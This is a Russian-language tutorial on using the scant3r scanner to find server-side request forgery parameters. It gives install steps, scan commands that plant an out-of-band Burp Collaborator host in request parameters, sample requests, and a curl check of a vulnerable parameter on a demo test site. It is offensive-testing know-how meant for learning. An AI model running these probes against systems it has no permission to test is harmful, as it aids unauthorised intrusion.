Находим SSRF параметры с помощью scant3r

Эта статья носит исключительно образовательный характер. Автор не несет ответственности за любые последствия ее прочтения.

Здравствуйте, это небольшой блог о том, как найти SSRF параметры у вашей цели с помощью scant3r любым http методом и с поддержкой JSON.

Требования

  • python 3.6+
  • pip
  • OAST Host (burp collaborator или interactsh.com)

Установка

>>> git clone https://github.com/knassar702/scant3r
>>> cd scant3r
>>> pip install -r requirements.txt
>>> ./scant3r.py

Использование

Теперь инструмент готов к использованию. Мы будем использовать модуль lorsrf для поиска SSRF параметров через GET,POST методы. Нам потребуется OAST Host, который можно сгенерировать в burpsuite или из https://app.interactsh.com/ , и указать в scant3r через опцию -x

>>> echo 'http://testphp.vulnweb.com/showimage.php' | ./scant3r.py -m lorsrf -x http://kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net -M GET,POST

Теперь scant3r начнёт добавлять параметры из списка wordlists/ssrf_parameters.txt с помощью GET и POST методов, с вашим хостом в значении параметра.

Примеры запросов:

GET /api/?test=kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net&anotherone=kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net
Host: target.com
User-agent: Firefox
POST /api/
Host: target.com
User-agent: Firefox

test=kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net&anotherone=kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net

Хорошо, после выполнения команды мы получили этот запрос

Потрясающе, мы нашли уязвимый параметр, но теперь возникает вопрос, какой именно? Для устранения этой проблемы вы можете включить информацию о цели в свой хост OAST. Как? С помощью этих переменных:

  • PATH - путь сканирования (например, /v0.1/api/)
  • HOST - целевой хост
  • PARAM - уязвимый параметр

просто добавьте одну из этих переменных к OAST с помощью опции -x, например

target: http://google.com/hackerman/

>>> http://yourhost.com
param=http://yourhost.com

>>> http://yourhost.com%PATH%
param=http://yourhost.com/hackerman/

>>> http://%PARAM%.yourhost.com
param=http://param.yourhost.com

>>> http://yourhost.com/?name=%PARAM%&loc=%PATH%
param=http://yourhost.com/?name=param&loc=/hacerman/

Давайте используем это

>>> echo 'http://testphp.vulnweb.com/showimage.php' | ./scant3r.py -m lorsrf -x "http://%PARAM%.kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net%PATH%" -M GET,POST

и вот запрос, который мы получили

Теперь, мы видим имя параметра - file и путь /showimage.php, давайте протестируем их

>>> curl http://testphp.vulnweb.com/showimage.php?file=http://testing.98ffgfb19ycm4hkllwkq1yl2ftll9a.burpcollaborator.net

<html><body>y0sneqpvgkn8wt3rm90cwmzjkgz</body></html>

Все работает!

Для поддержки json вы можете добавить опцию --json

Например:

>>> echo 'http://testphp.vulnweb.com/showimage.php' | ./scant3r.py -m lorsrf -x "http://%PARAM%.kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net%PATH%" -M GET,POST --json

Для получения дополнительной помощи вы можете прочитать эту вики-страницу и запустить

>>> ./scant3r.py --help

На этом все. Спасибо за просмотр!

Оригинал статьи на английском тут.

Подпишись на канал - @shadow_group_tg.